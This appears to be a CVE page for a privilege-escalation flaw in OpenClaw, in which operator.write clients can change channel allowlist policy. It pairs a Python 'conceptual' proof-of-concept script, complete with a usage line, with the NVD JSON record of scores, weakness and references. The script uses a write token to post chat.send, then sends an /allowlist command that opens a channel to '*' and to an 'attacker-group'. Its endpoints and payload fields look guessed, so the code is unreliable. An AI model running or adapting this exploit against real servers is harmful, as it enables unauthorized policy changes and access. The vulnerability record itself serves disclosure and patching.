CVE-2026-35621

# Conceptual PoC for CVE-2026-35621 # Exploiting privilege escalation via chat.send context import requests def exploit(target_url, operator_write_token): headers = { "Authorization": f"Bearer {operator_write_token}", "Content-Type": "application/json" } # Step 1: Build internal command-authorized context using chat.send # This specific endpoint/action prepares the internal context chat_payload = { "action": "chat.send", "channel": "system", "message": "trigger_internal_context" } print("[+] Step 1: Building internal context via chat.send...") session = requests.Session() resp = session.post(f"{target_url}/api/chat", json=chat_payload, headers=headers) if resp.status_code != 200: print("[-] Failed to establish context.") return # Step 2: Abuse /allowlist command to mutate policy # Normally restricted to operator.admin allowlist_payload = { "command": "/allowlist", "params": { "channel": "private-channel", "allowFrom": "*", # Malicious policy change "groupAllowFrom": "attacker-group" } } print("[+] Step 2: Sending malicious /allowlist command...") exploit_resp = session.post(f"{target_url}/api/command", json=allowlist_payload, headers=headers) if exploit_resp.status_code == 200: print("[+] Exploit successful! Policy persisted.") else: print("[-] Exploit failed.") # Usage # exploit("http://openclaw-server", "WRITE_TOKEN_HERE")

{"cve": {"id": "CVE-2026-35621", "sourceIdentifier": "[email protected]", "published": "2026-04-10T17:17:04.520", "lastModified": "2026-04-13T20:14:25.677", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.24 contains a privilege escalation vulnerability where the /allowlist command fails to re-validate gateway client scopes for internal callers, allowing operator.write-scoped clients to mutate channel authorization policy. Attackers can exploit chat.send to build an internal command-authorized context and persist channel allowFrom and groupAllowFrom policy changes reserved for operator.admin scope."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.24", "matchCriteriaId": "4220D4A6-550A-410D-9E21-4DAAB4E46485"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-94pw-c6m8-p9p9", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-privilege-escalation-via-chat-send-to-allowlist-persistence", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}